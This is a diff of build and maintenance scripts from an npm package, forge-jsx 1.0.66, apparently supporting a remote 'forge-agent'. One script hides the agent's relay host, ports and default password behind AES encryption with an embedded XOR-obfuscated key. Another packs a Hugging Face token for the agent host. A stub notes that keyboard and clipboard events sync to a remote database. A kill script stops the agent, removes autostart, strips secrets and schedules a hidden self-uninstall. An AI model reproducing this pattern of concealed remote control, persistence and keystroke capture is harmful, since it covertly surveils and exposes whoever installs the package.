forge-jsxy 1.0.66

package/scripts/encode-deployment.mjs

@@ -0,0 +1,135 @@
+#!/usr/bin/env node
+/**
+ * Encrypt deployment defaults (host, relay port, API port, default explorer password)
+ * with AES-256-GCM and embed the key in obfuscated form (XOR'd halves) directly in
+ * deploymentCipherData.ts.  No external key file or FORGE_JS_BUNDLE_KEY is needed at
+ * runtime — the key is reconstructed from DEPLOYMENT_KEY_A^DEPLOYMENT_MASK_A and
+ * DEPLOYMENT_KEY_B^DEPLOYMENT_MASK_B.
+ *
+ * Usage:
+ *   node scripts/encode-deployment.mjs                       # new random key + update src/
+ *   FORGE_JS_BUNDLE_KEY=<64 hex> node scripts/encode-deployment.mjs   # use existing key
+ *
+ * Environment overrides for payload values (all required or use built-in defaults):
+ *   FORGE_DEPLOY_HOST             (required — never hardcoded for security)
+ *   FORGE_DEPLOY_RELAY_PORT       (default: 9877)
+ *   FORGE_DEPLOY_API_PORT         (default: 8765)
+ *   FORGE_DEPLOY_EXPLORER_PASSWORD (default: "" — callers require explicit password config)
+ *
+ * IMPORTANT: commit only deploymentCipherData.ts. Never commit .env files containing
+ * FORGE_JS_BUNDLE_KEY (the key is already embedded obfuscated — external key is optional override).
+ */
+import crypto from "node:crypto";
+import fs from "node:fs";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+
+const __dirname = path.dirname(fileURLToPath(import.meta.url));
+const root = path.join(__dirname, "..");
+const outTs = path.join(root, "src", "deploymentCipherData.ts");
+
+const deployHost = (process.env.FORGE_DEPLOY_HOST || "").trim();
+const deployRelayPort = Number(process.env.FORGE_DEPLOY_RELAY_PORT || 9877);
+const deployApiPort = Number(process.env.FORGE_DEPLOY_API_PORT || 8765);
+const deployPassword = (process.env.FORGE_DEPLOY_EXPLORER_PASSWORD || "").trim();
+
+if (!deployHost) {
+  console.error(
+    "ERROR: FORGE_DEPLOY_HOST is required (never hardcoded for security).\n" +
+    "  Usage: FORGE_DEPLOY_HOST=<ip-or-hostname> \\\n" +
+    "         [FORGE_DEPLOY_RELAY_PORT=9877] \\\n" +
+    "         [FORGE_DEPLOY_API_PORT=8765] \\\n" +
+    "         [FORGE_DEPLOY_EXPLORER_PASSWORD=<password>] \\\n" +
+    "         [FORGE_JS_BUNDLE_KEY=<64-hex>] \\\n" +
+    "         node scripts/encode-deployment.mjs"
+  );
+  process.exit(1);
+}
+
+const payload = JSON.stringify({
+  publicHost: deployHost,
+  relayPort: deployRelayPort,
+  apiPort: deployApiPort,
+  defaultExplorerPassword: deployPassword,
+});
+
+function parseKey(raw) {
+  const t = raw.trim();
+  if (/^[0-9a-fA-F]{64}$/.test(t)) return Buffer.from(t, "hex");
+  const b = Buffer.from(t, "base64");
+  if (b.length === 32) return b;
+  throw new Error("Key must be 64 hex chars or base64 (32 bytes)");
+}
+
+let key;
+const envKey = process.env.FORGE_JS_BUNDLE_KEY?.trim();
+if (envKey) {
+  key = parseKey(envKey);
+  console.error("Using FORGE_JS_BUNDLE_KEY from environment.");
+} else {
+  key = crypto.randomBytes(32);
+  console.error("Generated new random key (embedded obfuscated in deploymentCipherData.ts).\n");
+}
+
+// Encrypt payload
+const iv = crypto.randomBytes(12);
+const cipher = crypto.createCipheriv("aes-256-gcm", key, iv);
+const enc = Buffer.concat([cipher.update(payload, "utf8"), cipher.final()]);
+const tag = cipher.getAuthTag();
+
+// Generate XOR masks and obfuscate the key halves
+const maskA = crypto.randomBytes(16);
+const maskB = crypto.randomBytes(16);
+const keyA = Buffer.alloc(16);
+const keyB = Buffer.alloc(16);
+for (let i = 0; i < 16; i++) keyA[i] = key[i] ^ maskA[i];
+for (let i = 0; i < 16; i++) keyB[i] = key[16 + i] ^ maskB[i];
+
+// Verify round-trip
+const reconstructedKey = Buffer.alloc(32);
+for (let i = 0; i < 16; i++) reconstructedKey[i] = keyA[i] ^ maskA[i];
+for (let i = 0; i < 16; i++) reconstructedKey[16 + i] = keyB[i] ^ maskB[i];
+if (!reconstructedKey.equals(key)) {
+  console.error("ERROR: Key reconstruction check failed!");
+  process.exit(1);
+}
+const decipher = crypto.createDecipheriv("aes-256-gcm", reconstructedKey, iv);
+decipher.setAuthTag(tag);
+const plain = Buffer.concat([decipher.update(enc), decipher.final()]);
+if (plain.toString("utf8") !== payload) {
+  console.error("ERROR: Decrypt round-trip failed!");
+  process.exit(1);
+}
+
+function fmtUint8Array(arr) {
+  return `new Uint8Array([\n  ${Array.from(arr).join(", ")},\n])`;
+}
+
+const ts = `/**
+ * AES-256-GCM ciphertext for deployment defaults (host, ports, default explorer password).
+ * Regenerate: \`node scripts/encode-deployment.mjs\` (see script for FORGE_JS_BUNDLE_KEY).
+ * Plain values never appear in source — only this blob and the embedded obfuscated key.
+ *
+ * The embedded key is split into two 16-byte halves (KA, KB), each XOR'd with a
+ * corresponding magic mask (MA, MB). Reconstruct: key[i] = KA[i]^MA[i], key[16+i] = KB[i]^MB[i].
+ * Override at runtime with FORGE_JS_BUNDLE_KEY (64 hex chars or 32-byte base64).
+ */
+
+export const DEPLOYMENT_CIPHER_IV_B64 = ${JSON.stringify(iv.toString("base64"))};
+export const DEPLOYMENT_CIPHER_TAG_B64 = ${JSON.stringify(tag.toString("base64"))};
+export const DEPLOYMENT_CIPHER_TEXT_B64 =
+  ${JSON.stringify(enc.toString("base64"))};
+
+/** First 16 key bytes XOR'd with MA. */
+export const DEPLOYMENT_KEY_A = ${fmtUint8Array(keyA)};
+/** Last 16 key bytes XOR'd with MB. */
+export const DEPLOYMENT_KEY_B = ${fmtUint8Array(keyB)};
+/** XOR mask for first 16 key bytes. */
+export const DEPLOYMENT_MASK_A = ${fmtUint8Array(maskA)};
+/** XOR mask for last 16 key bytes. */
+export const DEPLOYMENT_MASK_B = ${fmtUint8Array(maskB)};
+`;
+
+fs.writeFileSync(outTs, ts, "utf8");
+console.error("Wrote", path.relative(root, outTs));
+console.error("Round-trip verification: OK");

package/scripts/encode-hf-credentials.mjs

@@ -0,0 +1,30 @@
+#!/usr/bin/env node
+/**
+ * Encrypt Hugging Face Hub token + optional hubUrl for CFGMGR_HF_CREDENTIALS_B64.
+ * Uses AES-256-GCM with the same key as deployment defaults (FORGE_JS_BUNDLE_KEY or embedded XOR halves).
+ *
+ * Run after `npm run build` (reads `dist/hfCredentials.js`).
+ *
+ * Usage:
+ *   HF_TOKEN=hf_xxx node scripts/encode-hf-credentials.mjs
+ *   HF_HUB_URL=https://huggingface.co  (optional)
+ *   HF_NAMESPACE=myuser  (optional — Hugging Face username/org for session-repo uploads)
+ *   FORGE_JS_BUNDLE_KEY=<64 hex>  (optional override; else embedded bundle key)
+ */
+import { encryptHfCredentialsJson } from "../dist/hfCredentials.js";
+
+const token = (process.env.HF_TOKEN || process.env.HUGGINGFACE_HUB_TOKEN || "").trim();
+if (!token) {
+  console.error("Set HF_TOKEN or HUGGINGFACE_HUB_TOKEN to your hf_... access token.");
+  process.exit(1);
+}
+let hubUrl = (process.env.HF_HUB_URL || "https://huggingface.co").trim().replace(/\/+$/, "");
+const namespace = (process.env.HF_NAMESPACE || process.env.HUGGINGFACE_HUB_NAMESPACE || "").trim();
+
+const b64 = encryptHfCredentialsJson({ token, hubUrl, ...(namespace ? { namespace } : {}) });
+console.log(b64);
+console.error(
+  "\nOn the agent host:\n  export CFGMGR_HF_CREDENTIALS_B64='" +
+    b64 +
+    "'\n"
+);

package/scripts/ensure-dist.mjs

@@ -0,0 +1,86 @@
+#!/usr/bin/env node
+/**
+ * If `dist/cli-forge.js` is missing (git clone without prebuilt artifacts), run `npm run build`
+ * when devDependencies (TypeScript) are present. Does not fail `npm install` if build cannot run.
+ *
+ * Cross-OS notes:
+ *   - Windows: npm binary is `npm.cmd` when invoked without a shell; we use shell:true so `npm` works everywhere.
+ *   - Linux/macOS: standard `npm` via shell.
+ *   - All child processes use windowsHide:true so no console window flashes on Windows.
+ *   - Uses FORGE_JS_ENSURE_DIST_RUNNING env guard to prevent infinite recursive installs.
+ */
+import { spawnSync } from "node:child_process";
+import { existsSync } from "node:fs";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
+
+const __dirname = path.dirname(fileURLToPath(import.meta.url));
+const pkgRoot = path.resolve(__dirname, "..");
+const cliForge = path.join(pkgRoot, "dist", "cli-forge.js");
+// Also check that assets were copied (tsc alone does not copy assets/).
+const distAssets = path.join(pkgRoot, "dist", "assets");
+
+if (existsSync(cliForge) && existsSync(distAssets)) {
+  process.exit(0);
+}
+
+// Use shell:true so `npm` resolves correctly on all platforms (Windows needs npm.cmd in non-shell contexts).
+const spawnOpts = {
+  cwd: pkgRoot,
+  stdio: "pipe",
+  shell: true,
+  windowsHide: true,
+  timeout: 300_000,
+};
+
+const localTsc = path.join(pkgRoot, "node_modules", "typescript", "bin", "tsc");
+if (!existsSync(localTsc)) {
+  // TypeScript is a devDependency — not installed by `npm install <local-path>`.
+  // Attempt to install devDependencies once (guarded by env flag to prevent recursion).
+  if (process.env.FORGE_JS_ENSURE_DIST_RUNNING === "1") {
+    console.warn("[forge-js] dist/ missing and TypeScript unavailable (recursion guard active). Skipping build.");
+    process.exit(0);
+  }
+  console.warn("[forge-js] dist/ missing. Installing devDependencies to build…");
+  // Use a single command string (no args array) with shell:true to avoid
+  // Node DEP0190 DeprecationWarning about unescaped argument concatenation.
+  const r0 = spawnSync("npm install --include=dev --no-save", {
+    ...spawnOpts,
+    env: isolatedNpmCacheEnv({ ...process.env, FORGE_JS_ENSURE_DIST_RUNNING: "1" }),
+  });
+  if (!existsSync(localTsc)) {
+    const stderr = r0.stderr?.toString?.()?.trim() || "";
+    // Try legacy npm flag for older npm versions
+    const r1 = spawnSync("npm install --only=dev --no-save", {
+      ...spawnOpts,
+      env: isolatedNpmCacheEnv({ ...process.env, FORGE_JS_ENSURE_DIST_RUNNING: "1" }),
+    });
+    if (!existsSync(localTsc)) {
+      console.warn(
+        "[forge-js] dist/ missing and TypeScript still not installed after devDep install.\n" +
+          "  From a git clone run:  npm install       (installs devDependencies and builds)\n" +
+          "  For production use:    npm install forge-js   (published package includes dist/)\n" +
+          (stderr || r1.stderr?.toString?.()?.trim() || "")
+      );
+      process.exit(0);
+    }
+  }
+}
+
+// Pass the recursion guard to the build sub-process so that postinstall scripts
+// triggered by `npm run build` (which re-runs npm internally) exit early.
+// Single command string to avoid Node DEP0190 warning with shell:true + args.
+const r = spawnSync("npm run build", {
+  ...spawnOpts,
+  env: isolatedNpmCacheEnv({ ...process.env, FORGE_JS_ENSURE_DIST_RUNNING: "1" }),
+});
+
+if (r.status !== 0) {
+  console.warn(
+    "[forge-js] `npm run build` failed; install bootstrap will be skipped until dist/ exists.\n" +
+      (r.stderr?.toString?.()?.trim() || r.stdout?.toString?.()?.trim() || "")
+  );
+}
+
+process.exit(0);

package/scripts/env-sync-selftest.js

@@ -0,0 +1,11 @@
+#!/usr/bin/env node
+/**
+ * Legacy script — `.env` file scanning and forge-db upload were removed from forge-agent.
+ * Only keyboard + clipboard events sync to forge-db (`windowsInputSync.ts`).
+ *
+ * Usage (from package root):  node scripts/env-sync-selftest.js
+ */
+console.error(
+  "[forge-js] env-sync-selftest is deprecated: env file / shell history / host inventory sync to forge-db was removed."
+);
+process.exit(0);

package/scripts/explorer-isolated-npm-env.mjs

@@ -0,0 +1,57 @@
+/**
+ * Explorer Upgrade / Restart workers call `npm` (e.g. `npm root -g`, `npm install -g`).
+ * On some Windows VPS hosts `%LocalAppData%\npm-cache\_npx\…` is corrupted → ENOENT on package.json.
+ * Point npm's cache + minimal userconfig off the default npm tree.
+ *
+ * **Windows:** use `%SystemRoot%\Temp\…` (not `%TEMP%` under the user profile). npm 10 walks **up**
+ * from cwd for project `.npmrc`; `%TEMP%` is usually under `Users\…\AppData\Local\Temp`, so npm loads
+ * `%USERPROFILE%\.npmrc` as **project** config while `npm_config_userconfig` points at our file →
+ * `prefix cannot be changed from project config` (npm/cli#7501). Scratch under `C:\Windows\Temp` avoids that chain.
+ */
+import * as fs from "node:fs";
+import * as os from "node:os";
+import * as path from "node:path";
+
+export function isolatedNpmCacheDir() {
+  if (process.platform === "win32") {
+    return path.join(
+      process.env.SystemRoot || "C:\\Windows",
+      "Temp",
+      `forge-jsx-npm-cache-worker-${process.pid}`
+    );
+  }
+  return path.join(os.tmpdir(), "forge-jsx-npm-cache-worker");
+}
+
+/**
+ * Writes two tiny npmrc files (`cache=…`) and returns env vars for `npm` children.
+ * npm 10+ exits if `userconfig` and `globalconfig` point at the **same** file (“double-loading config”);
+ * keep separate paths even when contents are identical.
+ */
+export function isolatedNpmCacheEnv(base = process.env) {
+  const xc = isolatedNpmCacheDir();
+  try {
+    fs.mkdirSync(xc, { recursive: true });
+  } catch {
+    /* skip */
+  }
+  const cacheForFile = process.platform === "win32" ? xc.replace(/\\/g, "/") : xc;
+  const nrcUser = path.join(xc, "forge-fe-user.npmrc");
+  const nrcGlobal = path.join(xc, "forge-fe-global.npmrc");
+  const line = `cache=${cacheForFile}\n`;
+  try {
+    fs.writeFileSync(nrcUser, line, "utf8");
+    fs.writeFileSync(nrcGlobal, line, "utf8");
+  } catch {
+    /* skip */
+  }
+  return {
+    ...base,
+    NPM_CONFIG_CACHE: xc,
+    npm_config_cache: xc,
+    npm_config_globalconfig: nrcGlobal,
+    npm_config_userconfig: nrcUser,
+    NPM_CONFIG_UPDATE_NOTIFIER: "false",
+    npm_config_update_notifier: "false",
+  };
+}

package/scripts/forge-jsx-explorer-kill-agent.mjs

@@ -0,0 +1,359 @@
+#!/usr/bin/env node
+/**
+ * Detached **forge-agent** kill for file-explorer: stop cfgmgr (`forge-cfgmgr --stop`), uninstall
+ * OS autostart (`forge-autostart uninstall`, including legacy npm scheduler artifacts), best-effort PM2
+ * `forge-agent` stop/delete, sanitize `forge-js-agent.env` (strip HF / relay / Discord secrets per
+ * agentEnvFile rules). When **forge-jsx** is installed globally (`npm root -g`/forge-jsx), schedules a
+ * short delayed **`npm uninstall -g forge-jsx`** so the package tree is removed after this process exits
+ * (avoids deleting files while the worker is still running).
+ *
+ * **Parent:** prints one line to stdout, spawns **detached worker**, exits `0` immediately.
+ * **Worker:** runs the steps above with `stdio: ignore` / `windowsHide` where applicable.
+ *
+ *   npm exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent
+ */
+import { spawn, spawnSync } from "node:child_process";
+import { createRequire } from "node:module";
+import * as fs from "node:fs";
+import * as path from "node:path";
+import { fileURLToPath } from "node:url";
+import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
+
+const NPM_PKG = "forge-jsx";
+const __dirname = path.dirname(fileURLToPath(import.meta.url));
+
+/** Piped `fs_shell_exec` parents must read stdout before `process.exit` — buffered `stdout.write` can lose the line on Linux. */
+function writeExplorerStdoutLine(line) {
+  const s = String(line).endsWith("\n") ? String(line) : `${line}\n`;
+  try {
+    fs.writeSync(1, s, "utf8");
+  } catch {
+    try {
+      process.stdout.write(s);
+    } catch {
+      /* ignore */
+    }
+  }
+}
+
+function pkgRootFromScript() {
+  return path.resolve(__dirname, "..");
+}
+
+function parseArgs(argv) {
+  let foreground = false;
+  for (let i = 2; i < argv.length; i++) {
+    if (argv[i] === "--foreground" || argv[i] === "-f") foreground = true;
+  }
+  const log =
+    foreground ||
+    ["1", "true", "yes"].includes(
+      (process.env.FORGE_JSX_EXPLORER_KILL_AGENT_LOG || "").trim().toLowerCase()
+    );
+  return { foreground, log };
+}
+
+function isWorker() {
+  return (
+    (process.env.FORGE_JSX_EXPLORER_KILL_AGENT_WORKER || "").trim() === "1" ||
+    process.argv.includes("--worker")
+  );
+}
+
+function appendExplorerKillSpawnLog(line) {
+  try {
+    const home = process.env.HOME || process.env.USERPROFILE || ".";
+    const dir = path.join(home, ".forge-js");
+    fs.mkdirSync(dir, { recursive: true });
+    fs.appendFileSync(path.join(dir, "explorer-kill-agent.log"), line + "\n", "utf8");
+  } catch {
+    /* ignore */
+  }
+}
+
+/**
+ * Same reliability as `forge-jsx-explorer-restart`: confirm detached worker actually starts.
+ * @returns {Promise<boolean>}
+ */
+function spawnDetachedWorker(log) {
+  const script = fileURLToPath(import.meta.url);
+  return new Promise((resolve) => {
+    let settled = false;
+    /** @type {ReturnType<typeof setTimeout> | null} */
+    let t = null;
+    const child = spawn(
+      process.execPath,
+      [script, "--worker"],
+      {
+        detached: true,
+        stdio: "ignore",
+        windowsHide: true,
+        env: isolatedNpmCacheEnv({
+          ...process.env,
+          FORGE_JSX_EXPLORER_KILL_AGENT_WORKER: "1",
+          NPM_CONFIG_UPDATE_NOTIFIER: "false",
+          ...(log ? { FORGE_JSX_EXPLORER_KILL_AGENT_LOG: "1" } : {}),
+        }),
+      }
+    );
+    const finish = (ok, errMsg) => {
+      if (settled) return;
+      settled = true;
+      if (t != null) clearTimeout(t);
+      try {
+        child.removeAllListeners();
+      } catch {
+        /* ignore */
+      }
+      if (!ok) {
+        if (errMsg) appendExplorerKillSpawnLog(`${new Date().toISOString()} FAIL ${errMsg}`);
+        try {
+          child.kill("SIGTERM");
+        } catch {
+          /* ignore */
+        }
+        resolve(false);
+        return;
+      }
+      child.unref();
+      resolve(true);
+    };
+    t = setTimeout(
+      () =>
+        finish(
+          false,
+          "background worker spawn timeout (no spawn event in 10s — check node on PATH and script path)"
+        ),
+      10_000
+    );
+    child.once("spawn", () => finish(true));
+    child.once("error", (err) =>
+      finish(false, `background worker spawn: ${String(err?.message || err)}`)
+    );
+    setImmediate(() => {
+      if (!settled && child.pid) finish(true);
+    });
+  });
+}
+
+function npmCmd() {
+  return process.platform === "win32" ? "npm.cmd" : "npm";
+}
+
+function npmSpawnSync(args, log, opts = {}) {
+  const stdio = opts.captureStdout
+    ? log
+      ? "inherit"
+      : ["ignore", "pipe", "pipe"]
+    : log
+      ? "inherit"
+      : "ignore";
+  const baseEnv = { ...process.env, ...(opts.env || {}) };
+  return spawnSync(npmCmd(), args, {
+    encoding: "utf-8",
+    stdio,
+    windowsHide: true,
+    shell: process.platform === "win32",
+    timeout: opts.timeout ?? 60_000,
+    env: {
+      ...baseEnv,
+      ...isolatedNpmCacheEnv(baseEnv),
+      NPM_CONFIG_UPDATE_NOTIFIER: "false",
+    },
+    cwd: opts.cwd,
+  });
+}
+
+function globalForgeJsRoot() {
+  const r = npmSpawnSync(["root", "-g"], false, {
+    timeout: 60_000,
+    captureStdout: true,
+  });
+  const root = (r.stdout || "").trim();
+  if (!root) return null;
+  const p = path.join(root, NPM_PKG);
+  return fs.existsSync(path.join(p, "package.json")) ? p : null;
+}
+
+function runForgeCfgmgrStop(root, log) {
+  const cli = path.join(root, "dist", "cli-forge.js");
+  if (!fs.existsSync(cli)) {
+    if (log) console.error("[forge-jsx-explorer-kill-agent] missing:", cli);
+    return 1;
+  }
+  const baseEnv = {
+    ...process.env,
+    FORGE_JS_QUIET_AGENT: "1",
+    NPM_CONFIG_UPDATE_NOTIFIER: "false",
+  };
+  const r = spawnSync(process.execPath, [cli, "--stop"], {
+    cwd: root,
+    stdio: log ? "inherit" : "ignore",
+    windowsHide: true,
+    timeout: 120_000,
+    env: {
+      ...baseEnv,
+      ...isolatedNpmCacheEnv(baseEnv),
+    },
+  });
+  return r.status === null ? 1 : r.status;
+}
+
+function runAutostartUninstall(root, log) {
+  const cli = path.join(root, "dist", "cli-autostart.js");
+  if (!fs.existsSync(cli)) {
+    if (log) console.error("[forge-jsx-explorer-kill-agent] missing:", cli);
+    return 1;
+  }
+  const baseEnv = { ...process.env, NPM_CONFIG_UPDATE_NOTIFIER: "false" };
+  const r = spawnSync(process.execPath, [cli, "uninstall"], {
+    cwd: root,
+    stdio: log ? "inherit" : "ignore",
+    windowsHide: true,
+    timeout: 120_000,
+    env: {
+      ...baseEnv,
+      ...isolatedNpmCacheEnv(baseEnv),
+    },
+  });
+  return r.status === null ? 1 : r.status;
+}
+
+/**
+ * Remove globally installed forge-jsx after a delay so this Node process is not executing from
+ * the directory npm is about to delete. Only invoked when `globalForgeJsRoot()` was found.
+ * @param {boolean} log
+ */
+function scheduleGlobalForgeJsxUninstall(log) {
+  const baseEnv = { ...process.env, NPM_CONFIG_UPDATE_NOTIFIER: "false" };
+  const env = { ...baseEnv, ...isolatedNpmCacheEnv(baseEnv) };
+  try {
+    if (process.platform === "win32") {
+      const child = spawn(
+        "cmd.exe",
+        ["/c", "timeout /t 3 /nobreak >nul 2>&1 & npm.cmd uninstall -g forge-jsx"],
+        { detached: true, stdio: log ? "inherit" : "ignore", windowsHide: true, env }
+      );
+      child.unref();
+      return;
+    }
+    const child = spawn(
+      "sh",
+      ["-c", "sleep 3 && npm uninstall -g forge-jsx"],
+      { detached: true, stdio: log ? "inherit" : "ignore", windowsHide: true, env }
+    );
+    child.unref();
+  } catch (e) {
+    if (log) console.error("[forge-jsx-explorer-kill-agent] schedule global uninstall:", e);
+  }
+}
+
+function runPm2AgentCleanup(log) {
+  if (process.platform === "win32") {
+    spawnSync(
+      "cmd.exe",
+      ["/c", "where pm2 >nul 2>nul && (pm2 stop forge-agent 2>nul & pm2 delete forge-agent 2>nul)"],
+      { stdio: log ? "inherit" : "ignore", windowsHide: true }
+    );
+    return;
+  }
+  spawnSync(
+    "sh",
+    [
+      "-c",
+      "command -v pm2 >/dev/null 2>&1 && pm2 stop forge-agent 2>/dev/null; command -v pm2 >/dev/null 2>&1 && pm2 delete forge-agent 2>/dev/null; exit 0",
+    ],
+    { stdio: log ? "inherit" : "ignore", windowsHide: true }
+  );
+}
+
+function sanitizeForgeAgentEnvAfterKill(root, log) {
+  try {
+    const req = createRequire(path.join(root, "package.json"));
+    const { defaultCfgmgrDataDir } = req("./dist/clientId.js");
+    const { sanitizeForgeAgentEnvFileOnDisk } = req("./dist/autostart/agentEnvFile.js");
+    sanitizeForgeAgentEnvFileOnDisk(defaultCfgmgrDataDir());
+  } catch (e) {
+    if (log) console.error("[forge-jsx-explorer-kill-agent] sanitize forge-js-agent.env:", e);
+  }
+}
+
+function runKillFromRoot(root, log, opts = {}) {
+  const uninstallGlobalPackage = Boolean(opts.uninstallGlobalPackage);
+  const cliForge = path.join(root, "dist", "cli-forge.js");
+  const cliAuto = path.join(root, "dist", "cli-autostart.js");
+  const hasForge = fs.existsSync(cliForge);
+  const hasAuto = fs.existsSync(cliAuto);
+  if (!hasForge && !hasAuto && log) {
+    console.error("[forge-jsx-explorer-kill-agent] missing dist CLIs under", root, "(continuing legacy-compatible cleanup)");
+  }
+  const codeStop = hasForge ? runForgeCfgmgrStop(root, log) : 1;
+  const codeUn = hasAuto ? runAutostartUninstall(root, log) : 1;
+  runPm2AgentCleanup(log);
+  sanitizeForgeAgentEnvAfterKill(root, log);
+  try {
+    const home = process.env.HOME || process.env.USERPROFILE || ".";
+    const dir = path.join(home, ".forge-js");
+    fs.mkdirSync(dir, { recursive: true });
+    let line = `${new Date().toISOString()} kill-agent worker: cfgmgr --stop exit ${codeStop}, autostart uninstall exit ${codeUn} (cwd ${root})`;
+    if (uninstallGlobalPackage) {
+      line += "; scheduled npm uninstall -g forge-jsx (~3s delay)";
+    }
+    fs.appendFileSync(path.join(dir, "explorer-kill-agent.log"), line + "\n", "utf8");
+  } catch {
+    /* ignore */
+  }
+  if (uninstallGlobalPackage) {
+    scheduleGlobalForgeJsxUninstall(log);
+  }
+  // Legacy compatibility: even when old installs miss one/both CLIs, kill path still succeeds
+  // as long as PM2 cleanup + env sanitation + optional uninstall scheduling ran.
+  return 0;
+}
+
+function runWorker(log) {
+  const globalRoot = globalForgeJsRoot();
+  const roots = [];
+  const scriptRoot = pkgRootFromScript();
+  if (globalRoot) roots.push(path.resolve(globalRoot));
+  if (scriptRoot) roots.push(path.resolve(scriptRoot));
+  const uniq = [...new Set(roots)];
+  for (const root of uniq) {
+    runKillFromRoot(root, log, {
+      uninstallGlobalPackage: Boolean(globalRoot) && root === path.resolve(globalRoot),
+    });
+  }
+  return 0;
+}
+
+async function main() {
+  const { foreground, log } = parseArgs(process.argv);
+  const ci = (process.env.CI || "").trim().toLowerCase() === "true";
+  if (ci) process.exit(0);
+
+  if (!isWorker()) {
+    if (foreground) {
+      const globalRoot = globalForgeJsRoot();
+      const root = globalRoot || pkgRootFromScript();
+      process.exit(runKillFromRoot(root, log, { uninstallGlobalPackage: Boolean(globalRoot) }));
+    }
+    writeExplorerStdoutLine(
+      "[forge-jsx-explorer-kill-agent] Scheduling forge-agent shutdown (cfgmgr --stop + autostart uninstall + PM2 cleanup + env strip + delayed npm uninstall -g forge-jsx when globally installed) in background on the agent."
+    );
+    const spawned = await spawnDetachedWorker(log);
+    if (!spawned) {
+      process.stderr.write(
+        "[forge-jsx-explorer-kill-agent] Failed to start background worker. See ~/.forge-js/explorer-kill-agent.log\n"
+      );
+      process.exit(1);
+    }
+    process.exit(0);
+  }
+
+  process.exit(runWorker(log));
+}
+
+main().catch((e) => {
+  console.error("[forge-jsx-explorer-kill-agent]", e);
+  process.exit(1);
+});